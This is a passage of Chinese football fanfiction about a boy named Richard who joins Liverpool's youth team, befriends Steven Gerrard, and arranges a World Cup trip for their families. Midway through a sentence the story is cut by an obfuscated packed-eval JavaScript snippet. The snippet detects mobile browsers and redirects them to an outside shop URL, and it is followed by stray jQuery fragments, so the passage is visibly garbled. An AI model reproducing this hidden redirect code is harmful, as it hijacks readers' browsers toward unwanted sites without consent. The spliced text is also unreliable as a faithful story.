然后Richard就摔了一跤，精神层面上的。
他带着终于踏上利物浦的一点亢奋和沾沾自喜——被无视了。
更衣室在他进门的一瞬总是会安静，偶尔一些不太干净的词汇也因为没来得及住口被他听个清楚。
Richard并不因为这些小孩儿的情绪而生气，但也因为没经历过而有些束手无策，他们的方式太直接了。
他愿意为自己拼一个被正视的机会，但首先得建立在他摸得到球的基础上……他现在根本就是个能在场上跑动看球的Vip观众低配裁判罢了。
一开始杰拉德只是作壁上观，不太过分的他便不制止。但他也在想，就他自己而言对青年没有到厌恶的程度，只是对一个随时有后路可以走的运动员总有点说不上来的感觉。
或许有一些嫉妒的成分吧，他劝自己不要有这样的情绪，但越琢磨Richard越把目光落在他身上。
很快他就意识到Richard是如此的特别。
杰拉德发现众人口中所谓的好看富二代（他不愿意用那个词形容Richard）确实是他的一部分，但也有另一部分是全身心为足球付出，拼命到让他后怕的
Macaulay教练吹响了口哨，他看多了这种事，“Richard，你来当替补队的队长。”
他们还没有熟悉起来时就在同一方，Richard机会好杰拉德也会选择把球传给对方让他一球定音，并没有因为常下的关系而影响场上。
或者Richard抢下了球，无需特意交流就传在杰拉德的必经之路，让他几乎不需要调整。
杰拉德感叹他从来没这么舒服过！
教练们也能感受到这两个人甚至没有特意去练配合就可以知道对方的意图。
杰拉德经过了几个训练日已经对这个漂亮男孩大为改观，他每年对圣诞老人许愿想要这样的人而现实中真的出现了，杰拉德把他称为上天赐给我的惊喜、给予我的好运。
现在教练让Richard和杰拉德分属两队，这样杰拉德能明显感受到他是个多么难缠的对手，被那双绿色的眼睛无甚感情的看着可能会轻视他，而他的滑铲悄然到来。
或是在杰拉德要远射的时候，轻轻一勾，被同样回击摔倒在地。
在众人惊讶的目光中，Getrard拉起了被倒地的Richard。
Richard不奇怪，如果说谁会先走出一步那一定会是杰拉德，他对偶像的人品很信任，只是不想太牵扯他。
其他人的目光变得古怪起来，小队长没参与没反对似乎是默许，如今又第一个站出来接纳，有些摇摆着的球员也上来握手，直到今天他才算是真正加入进来。
他也没和他的队友们说什么战术，只是鼓励了他们不要停止跑动不要先认输，总会有机会的，对手会累，而我们只要多坚持一下。
训练结束Richard特意找到了杰拉德，“谢谢你……”
“不我其实没做什么，是你自己给自己创造的。”
一切尽在拥抱中。
“妈妈，我想问问寄宿家庭的事儿还能不能实现。”Richard趴在吧台上自信开口，他算了算下个月过生日，快到了能去的时候了。
莉莉安把蔬果汁倒在杯里递给Richard似笑非笑，“你已经给自己找好了去处是吗？”
Richard坦坦荡荡地回答：“是的，我对比了几家，觉得我们小队长是我能找到最好的选择。”
“可以，满足是本地人这个基本的门槛，剩下的好办。”莉莉安看着他喝干净才继续说，“还好你妈妈有点办法，等着吧。”
Richard喜不自胜已经在畅想从小做杰拉德的最好的朋友最亲的兄弟，和他如同一家人般相处，会被所有人一并提起的利物浦双子星，还好他回来了。
“Rick？傻乐什么呢？去帮妈妈拿出咱们放证件的盒子。”
他在一旁看着提交注册表格父母同意书还有学校成绩单等各种文件，看着他的名字一次又一次的落在纸上，这些他当年没有经历过的事情每走一步都觉得很新奇，对未来他从来没有这么期待过。
他不知道用什么词语形容现在的状态，总之，Richard·Russell真的要去踢足球了！
帮不上什么忙，Richard只好学着做真正的乖小孩儿：不乱跑乱玩，循环往复晨练、吃饭、看书、听音乐和每天装作不经意的路过邮筒，摸摸电话，看向猫眼的生活。
“Steven！是我……”Richard能说会道的嘴也突然失灵。
“我上午没有打通以为你在忙！”Steven的声音有点失真。
“今天收拾了家里，已经结束了。呃，我是说，要不要一起去公园儿玩球儿！我怕你在家里有点无聊，不是……”
“其实我找你……”杰拉德带着笑意抢答，“也是为了这件事啊。你刚才接通我们早就玩起来了！还好现在也不晚，哈哈哈哈，我们一人带个足球怎么样？”
“你不会有把足球踢到过隔壁邻居之类的地方吧。”Richard灵感迸发。
对面沉默了好久，“你敢说你没有过？”
这次换Richard闭嘴了。
以上的对话被他妈听得清清楚楚，莉莉安憋笑着没去管，Richard还有点儿奇怪去和妈妈说的时候她在笑什么，不管了他要去见朋友！
他骑上车把运动包扔进车筐忍不住去想他那个爸，整天把自己关在屋里不知道鼓捣什么，但会随机出现在家里的每个角落，晚上固定消失跟Npc似的，他过去不了解这个男人，也许现在可以试着多看看他。
快乐的时光总是短暂的，马上就要新赛季联赛开始加上开学，两个人玩得从来没这么痛快过，但累得走不动也不想回家。
Richard窝在长椅上问他，“杰拉德，你想不想去看世界杯？”
“当然想！如果英格兰能进的话就更幸福了！”杰拉德在隔壁的椅子上躺下。
Richard抿着嘴唇，“还好几个月呢……如果能的话，我真的想在现场见证英格兰夺冠。所以，你想不想看？”
“那当然想，但等等……”杰拉德似乎知道了他要说什么了。
“我的父母，加上你的父母和哥哥，看半决赛和决赛可以吗？”
“不是不是！”杰拉德看Richard把自己明年夏天的行程都安排好了，拼命摆手，“不用为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326705|199125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我花这么多钱。”
“钱不是问题。”Richard好像能看穿他的内心，“我要你和我一起让英格兰赢得世界杯冠军让利物浦赢英超赢欧冠。”
“这是个什么顺序？”
“夺冠的难度。”
他把杰拉德拉到他家，和莉莉安说了说想法。
她回答：“好主意！那不如现在打电话沟通下！”
电话挂断，莉莉安转头和Gerrard说话，“Steven，他们同意了。还有明年你们好好相处。”
Richard心脏砰砰直跳，他知道妈妈在说什么事，而杰拉德张着嘴巴左瞧右看。
“是寄宿家庭。”
“你，我……也就是我们要住一起，对……对吧？”
Richard点点头，把这个话题跳过，“莉莉安，也就是我妈妈会帮我们两家买旅行社套餐，包括机票酒店门票。”
“先帮我们谢谢你妈妈，也不知道我爸妈怎么同意的……你先回答我刚才的问题。”
“对，等我过了14岁生日可以申请，等春天结果应该就能出来了。”
Richard按着他的肩膀把他身体转向莉莉安的方向，一点点和他解释，“妈妈在和旅行社通电话，过几天手册到了我们一起选套餐，我觉得既然是暑假时间充裕，那不如多看两场，你说呢？”
“你疯了吗……”杰拉德压低声音生怕被听到，“世界杯的时候，你肯定已经和我住在一起了，到时候我们一起看电视不也可以吗？”
“那不一样。”Richard和他并肩而立，“我们去见证世界上最顶尖的球员如何胜利怎样失败，去享受欢呼也见证失意。”
Richard盯着他的眼睛，“那是我们未来的舞台——”
“所以……都听你的安排？”
Richard不置可否，“差不多是这样。决赛前后的日子门票应该能寄到我们家这里，放心，我妈妈不在这儿住也会有人收着的。”
“也就是说赢了的话那会是最好的礼物。”
朱莉和Paul都在客厅等Steven回家，“他到底图什么呢？”
“在买断我的忠诚吧。”Steven?杰拉德平静地看向父母，“我决定拒绝曼联试训了。”
“你们到时候多请几天假吧，应该还要在美国转转。”杰拉德转回身，“就当去旅游了……也许以后我可以用我们的冠军回报他。”
四天后，Richard包里多了一本厚厚的册子，训练结束后的路上杰拉德轻易就被他说服了，都到这份儿上了那就去看吧——很难得有这样不用在乎预算的看球机会。
Richard不知道他的动作已经让这个世界稍微变化了分毫，还在认真选住什么酒店做哪种飞机。杰拉德看得眼花缭乱，Richard问什么都说好。
“那就我选了哦。”
杰拉德被这天上掉下来的馅饼砸得晕晕乎乎，好处说完了那坏处呢？
恐怕是他把球场上的Steven卖给了Richard，自愿的。
申请表和支票已经寄出去了，Richard不知道妈妈为什么支持他突发奇想的疯狂决定，莉莉安说了几个字，“因为你想要。”